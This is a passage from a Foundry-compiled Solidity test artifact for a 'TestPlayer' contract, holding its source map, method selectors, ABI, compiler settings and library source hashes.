;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1594:89:1:-;1657:19;;;;;5790:14:155;;5783:22;1657:19:1;;;5765:41:155;1657:13:1;;;;5738:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1808:91;1872:20;;;;;5790:14:155;;5783:22;1872:20:1;;;5765:41:155;1872:14:1;;;;5738:18:155;;1872:20:1;5625:187:155;2270:110:1;2349:24;;;;;;;;16835:25:155;;;16876:18;;;16869:34;;;2349:11:1;;;;16808:18:155;;2349:24:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2270:110;;:::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:681:155:-;185:2;237:21;;;307:13;;210:18;;;329:22;;;156:4;;185:2;408:15;;;;382:2;367:18;;;156:4;451:218;465:6;462:1;459:13;451:218;;;530:13;;-1:-1:-1;;;;;526:62:155;514:75;;644:15;;;;609:12;;;;487:1;480:9;451:218;;;-1:-1:-1;686:3:155;;14:681;-1:-1:-1;;;;;;14:681:155:o;700:2125::-;904:4;933:2;973;962:9;958:18;1003:2;992:9;985:21;1026:6;1061;1055:13;1092:6;1084;1077:22;1118:2;1108:12;;1151:2;1140:9;1136:18;1129:25;;1213:2;1203:6;1200:1;1196:14;1185:9;1181:30;1177:39;1251:2;1243:6;1239:15;1272:1;1282:1514;1296:6;1293:1;1290:13;1282:1514;;;-1:-1:-1;;1361:22:155;;;1357:36;1345:49;;1417:13;;1504:9;;-1:-1:-1;;;;;1500:58:155;1485:74;;1598:11;;1592:18;1630:15;;;1623:27;;;1711:19;;1457:15;;;1743:24;;;1923:21;;;;1790:2;1876:1;1872:16;;;1860:29;;1856:38;;;1814:15;;;;1968:1;1982:705;1998:8;1993:3;1990:17;1982:705;;;2079:19;;;-1:-1:-1;;2075:33:155;2061:48;;2136:15;;2184:9;;2210:24;;;2262:1;2280:169;2296:8;2291:3;2288:17;2280:169;;;2426:2;2420:3;2416:2;2412:12;2408:21;2402:28;2397:2;2391:3;2383:6;2379:16;2375:25;2368:63;2324:2;2319:3;2315:12;2308:19;;2280:169;;;-1:-1:-1;2505:1:155;2477:21;;;2473:30;;2466:41;2616:17;;;;2577:2;2554:17;-1:-1:-1;;2550:31:155;2538:44;;;2534:53;;;-1:-1:-1;2659:14:155;;;;2026:1;2017:11;1982:705;;;-1:-1:-1;;;2774:12:155;;;;2710:6;-1:-1:-1;;2739:15:155;;;;1318:1;1311:9;1282:1514;;;-1:-1:-1;2813:6:155;;700:2125;-1:-1:-1;;;;;;;;700:2125:155:o;2830:1609::-;3032:4;3061:2;3101;3090:9;3086:18;3131:2;3120:9;3113:21;3154:6;3189;3183:13;3220:6;3212;3205:22;3246:2;3236:12;;3279:2;3268:9;3264:18;3257:25;;3341:2;3331:6;3328:1;3324:14;3313:9;3309:30;3305:39;3379:2;3371:6;3367:15;3400:1;3410:1000;3424:6;3421:1;3418:13;3410:1000;;;3489:22;;;-1:-1:-1;;3485:36:155;3473:49;;3545:13;;3632:9;;-1:-1:-1;;;;;3628:58:155;3613:74;;3726:11;;3720:18;3758:15;;;3751:27;;;3839:19;;3585:15;;;3871:24;;;3961:21;;;;4006:1;;3929:2;3917:15;;;4020:282;4036:8;4031:3;4028:17;4020:282;;;4117:15;;4134:66;4113:88;4099:103;;4271:17;;;;4064:1;4055:11;;;;;4228:14;;;;4020:282;;;-1:-1:-1;4388:12:155;;;;4325:5;-1:-1:-1;;;4353:15:155;;;;3446:1;3439:9;3410:1000;;4444:1176;4606:4;4635:2;4675;4664:9;4660:18;4705:2;4694:9;4687:21;4728:6;4763;4757:13;4794:6;4786;4779:22;4832:2;4821:9;4817:18;4810:25;;4894:2;4884:6;4881:1;4877:14;4866:9;4862:30;4858:39;4844:53;;4932:2;4924:6;4920:15;4953:1;4963:628;4977:6;4974:1;4971:13;4963:628;;;5042:22;;;-1:-1:-1;;5038:36:155;5026:49;;5098:13;;5140:9;;5162:24;;;5210:1;5224:157;5240:8;5235:3;5232:17;5224:157;;;5348:12;;;5344:21;;5338:28;5315:16;;;5311:25;;5304:63;5259:12;;5224:157;;;-1:-1:-1;5433:1:155;5405:21;;;5401:30;;5394:41;5501:2;5478:17;-1:-1:-1;;5474:31:155;5462:44;;;5458:53;;;-1:-1:-1;5569:12:155;;;;5534:15;;;;4999:1;4992:9;4963:628;;;-1:-1:-1;5608:6:155;;4444:1176;-1:-1:-1;;;;;;;4444:1176:155:o;6007:184::-;-1:-1:-1;;;6056:1:155;6049:88;6156:4;6153:1;6146:15;6180:4;6177:1;6170:15;6196:208;6283:13;;-1:-1:-1;;;;;6325:54:155;;6315:65;;6305:93;;6394:1;6391;6384:12;6305:93;6196:208;;;:::o;6409:1145::-;6512:6;6543:2;6586;6574:9;6565:7;6561:23;6557:32;6554:52;;;6602:1;6599;6592:12;6554:52;6635:9;6629:16;6664:18;6705:2;6697:6;6694:14;6691:34;;;6721:1;6718;6711:12;6691:34;6759:6;6748:9;6744:22;6734:32;;6804:7;6797:4;6793:2;6789:13;6785:27;6775:55;;6826:1;6823;6816:12;6775:55;6855:2;6849:9;6877:2;6873;6870:10;6867:36;;;6883:18;;:::i;:::-;6929:2;6926:1;6922:10;6961:2;6955:9;7024:2;7020:7;7015:2;7011;7007:11;7003:25;6995:6;6991:38;7079:6;7067:10;7064:22;7059:2;7047:10;7044:18;7041:46;7038:72;;;7090:18;;:::i;:::-;7126:2;7119:22;7176:18;;;7210:15;;;;-1:-1:-1;7252:11:155;;;7248:20;;;7280:19;;;7277:39;;;7312:1;7309;7302:12;7277:39;7336:11;;;;7356:167;7372:6;7367:3;7364:15;7356:167;;;7438:42;7476:3;7438:42;:::i;:::-;7426:55;;7389:12;;;;7501;;;;7356:167;;;7542:6;6409:1145;-1:-1:-1;;;;;;;;6409:1145:155:o;7559:184::-;-1:-1:-1;;;7608:1:155;7601:88;7708:4;7705:1;7698:15;7732:4;7729:1;7722:15;12208:437;12287:1;12283:12;;;;12330;;;12351:61;;12405:4;12397:6;12393:17;12383:27;;12351:61;12458:2;12450:6;12447:14;12427:18;12424:38;12421:218;;-1:-1:-1;;;12492:1:155;12485:88;12596:4;12593:1;12586:15;12624:4;12621:1;12614:15;12421:218;;12208:437;;;:::o;12650:277::-;12717:6;12770:2;12758:9;12749:7;12745:23;12741:32;12738:52;;;12786:1;12783;12776:12;12738:52;12818:9;12812:16;12871:5;12864:13;12857:21;12850:5;12847:32;12837:60;;12893:1;12890;12883:12;12837:60;12916:5;12650:277;-1:-1:-1;;;12650:277:155:o;15515:184::-;15585:6;15638:2;15626:9;15617:7;15613:23;15609:32;15606:52;;;15654:1;15651;15644:12;15606:52;-1:-1:-1;15677:16:155;;15515:184;-1:-1:-1;15515:184:155:o;15704:279::-;15769:9;;;15790:10;;;15787:190;;;-1:-1:-1;;;15830:1:155;15823:88;15934:4;15931:1;15924:15;15962:4;15959:1;15952:15;15787:190;15704:279;;;;:::o","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","setUp()":"0a9254e4","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testLevel()":"5e2d0f96"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testLevel()\":{\"notice\":\"Add new level factory.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/metrics/Player.t.sol\":\"TestPlayer\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582